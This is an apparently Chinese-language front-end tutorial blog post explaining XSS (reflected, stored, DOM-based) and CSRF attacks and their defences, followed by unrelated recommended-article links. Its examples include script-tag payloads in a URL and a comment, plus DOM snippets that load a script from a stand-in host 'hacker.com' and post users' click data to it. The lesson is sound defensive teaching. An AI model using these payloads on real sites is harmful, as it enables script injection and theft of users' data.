前端网络---网络安全

「前端食堂」想进大厂必须要知道的Web安全问题 - 掘金

网络安全之xss攻击

XSS 攻击是跨站脚本攻击,是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息如 cookie 等。

XSS 的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行。

黑客利用xss攻击可能做的事情

1、获取页面的数据,例如,dom、cookie、localStorage

2、dos攻击。发送合理请求,占用服务器资源,使用户无法访问服务器

3、破坏页面结构

4、流量劫持,将链接指向某个网站

xss攻击可以分为反射型、存储型、DOM型

反射型

恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又将这部分返回给用户,恶意脚本在页面中被执行。一般发生在前后端一体的应用中,服务端逻辑会改变最终的网页代码。

会和后段有交互

存储型

黑客将恶意 JavaScript 脚本长期保存在服务端数据库中,用户一旦访问相关页面数据,恶意脚本就会被执行。常见于搜索、微博、社区贴吧评论等。会和后段有交互

DOM型

黑客将恶意 JavaScript 脚本注入到web应用程序中,通常是指攻击者通过操作页面的DOM对象模型来改变页面的内容或行为,从而可能实施攻击。仅仅发生在前端

xss攻击的案例

反射型攻击的案例

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=\<script>alert('foolish!')</script>!

接收者接收消息显示的时候将会弹出警告窗口

试想如果不是弹出弹窗而是获取你的cookie或者任何的登录标识呢?是不是就可以拿到你的信息来做一些事情呢?

存储型攻击的案例

比如用户评论功能,输入一段<script>alert('xss')</script>脚本,并提交保存到服务器,由于评论具有公开性,是不是每一个进入到该网站查看评论都可以被攻击?

DOM型攻击的案例

javascript 复制代码
var script = document.createElement('script');
script.src = 'http://hacker.com/malicious-code.js';
document.head.appendChild(script);
javascript 复制代码
document.querySelector('a').href = 'http://hacker.com';
document.querySelector('form').action = 'http://hacker.com';
javascript 复制代码
document.addEventListener('click', function(event) {
    // 发送数据到恶意网址
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://hacker.com/log-clicks', true);
    xhr.send('x=' + event.clientX + '&y=' + event.clientY);
});

比如以上代码,通过操作dom,或者监听用户的点击动作,可以添加一些有害脚本

xss三种攻击类型的区别

1、反射型的攻击存在URL中

2、存储型的攻击存在数据库中

3、DOM型的攻击主要利用web端的代码漏洞,使浏览器执行恶意代码,属于js的漏洞

xss攻击防范方法

1、输入格式校验

2、过滤<script>、<iframe>等标签

3、对要渲染的内容进行编码转义

4、限制输入长度

5、对cookie设置httphttp only

网络安全之csrf攻击

CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

csrf攻击防范方法

1、尽量使用post请求

2、加入验证码

3、验证Referer

4、Anti SCRF Token

5、加入自定义的Header

一些请求头的设置

javascript 复制代码
sec-fetch-site :表示一个请求发起的来源和目标资源来源之间的关系
 cross-site:跨域请求
 same-origin:同源请求
 none: 不是同源也不是跨域,请求与任意上下文无关。比如浏览器窗口中拖放一个文件

sec-fetch-user: 表示一个导航请求是否由用户激活触发(如用户主动点击鼠标、键盘)。

Sec-Fetch-User: ?0   否                
Sec-Fetch-User: ?1   是
相关推荐
庸俗今天不摸鱼27 分钟前
【万字总结】前端全方位性能优化指南(十)——自适应优化系统、遗传算法调参、Service Worker智能降级方案
前端·性能优化·webassembly
黄毛火烧雪下34 分钟前
React Context API 用于在组件树中共享全局状态
前端·javascript·react.js
Apifox44 分钟前
如何在 Apifox 中通过 CLI 运行包含云端数据库连接配置的测试场景
前端·后端·程序员
一张假钞1 小时前
Firefox默认在新标签页打开收藏栏链接
前端·firefox
高达可以过山车不行1 小时前
Firefox账号同步书签不一致(火狐浏览器书签同步不一致)
前端·firefox
m0_593758101 小时前
firefox 136.0.4版本离线安装MarkDown插件
前端·firefox
掘金一周1 小时前
金石焕新程 >> 瓜分万元现金大奖征文活动即将回归 | 掘金一周 4.3
前端·人工智能·后端
三翼鸟数字化技术团队1 小时前
Vue自定义指令最佳实践教程
前端·vue.js
Jasmin Tin Wei2 小时前
蓝桥杯 web 学海无涯(axios、ecahrts)版本二
前端·蓝桥杯
圈圈编码2 小时前
Spring Task 定时任务
java·前端·spring